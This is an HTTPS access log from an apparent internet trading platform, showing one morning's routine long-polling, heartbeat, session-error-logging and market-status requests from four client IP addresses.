[09/Jan/2026:11:23:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929308223 HTTP/1.1" -
[09/Jan/2026:11:23:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929293368 HTTP/1.1" -
[09/Jan/2026:11:23:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929298654 HTTP/1.1" -
[09/Jan/2026:11:23:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929297869 HTTP/1.1" -
[09/Jan/2026:11:23:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:23:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:23:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929314224 HTTP/1.1" -
[09/Jan/2026:11:23:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929298426 HTTP/1.1" -
[09/Jan/2026:11:23:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929303771 HTTP/1.1" -
[09/Jan/2026:11:23:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:23:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929302907 HTTP/1.1" -
[09/Jan/2026:11:23:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929303467 HTTP/1.1" -
[09/Jan/2026:11:23:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929320237 HTTP/1.1" -
[09/Jan/2026:11:23:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929308833 HTTP/1.1" -
[09/Jan/2026:11:23:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:23:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:23:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929307928 HTTP/1.1" -
[09/Jan/2026:11:24:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929308506 HTTP/1.1" -
[09/Jan/2026:11:24:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929313955 HTTP/1.1" -
[09/Jan/2026:11:24:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929326230 HTTP/1.1" -
[09/Jan/2026:11:24:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929312949 HTTP/1.1" -
[09/Jan/2026:11:24:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929313581 HTTP/1.1" -
[09/Jan/2026:11:24:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929319093 HTTP/1.1" -
[09/Jan/2026:11:24:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929332223 HTTP/1.1" -
[09/Jan/2026:11:24:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929317972 HTTP/1.1" -
[09/Jan/2026:11:24:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929318683 HTTP/1.1" -
[09/Jan/2026:11:24:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929324252 HTTP/1.1" -
[09/Jan/2026:11:24:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929323004 HTTP/1.1" -
[09/Jan/2026:11:24:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929338232 HTTP/1.1" -
[09/Jan/2026:11:24:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929323820 HTTP/1.1" -
[09/Jan/2026:11:24:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929329365 HTTP/1.1" -
[09/Jan/2026:11:24:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929328039 HTTP/1.1" -
[09/Jan/2026:11:24:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:24:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:24:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929344225 HTTP/1.1" -
[09/Jan/2026:11:24:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929328893 HTTP/1.1" -
[09/Jan/2026:11:24:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:24:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929334498 HTTP/1.1" -
[09/Jan/2026:11:24:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929333095 HTTP/1.1" -
[09/Jan/2026:11:24:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929333917 HTTP/1.1" -
[09/Jan/2026:11:24:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929350222 HTTP/1.1" -
[09/Jan/2026:11:24:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:24:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929339577 HTTP/1.1" -
[09/Jan/2026:11:24:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929338114 HTTP/1.1" -
[09/Jan/2026:11:24:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929338942 HTTP/1.1" -
[09/Jan/2026:11:24:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929356237 HTTP/1.1" -
[09/Jan/2026:11:24:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929344636 HTTP/1.1" -
[09/Jan/2026:11:24:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929343132 HTTP/1.1" -
[09/Jan/2026:11:24:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929344015 HTTP/1.1" -
[09/Jan/2026:11:24:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929349810 HTTP/1.1" -
[09/Jan/2026:11:24:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929362230 HTTP/1.1" -
[09/Jan/2026:11:24:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929348154 HTTP/1.1" -
[09/Jan/2026:11:24:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:24:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:24:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929349088 HTTP/1.1" -
[09/Jan/2026:11:24:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929354947 HTTP/1.1" -
[09/Jan/2026:11:24:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929353185 HTTP/1.1" -
[09/Jan/2026:11:24:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929368229 HTTP/1.1" -
[09/Jan/2026:11:24:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929354144 HTTP/1.1" -
[09/Jan/2026:11:24:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929360077 HTTP/1.1" -
[09/Jan/2026:11:24:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929358233 HTTP/1.1" -
[09/Jan/2026:11:24:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:24:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929374236 HTTP/1.1" -
[09/Jan/2026:11:24:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:24:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929359454 HTTP/1.1" -
[09/Jan/2026:11:24:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:24:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:24:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929365205 HTTP/1.1" -
[09/Jan/2026:11:24:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929363273 HTTP/1.1" -
[09/Jan/2026:11:24:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929380226 HTTP/1.1" -
[09/Jan/2026:11:24:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929364477 HTTP/1.1" -
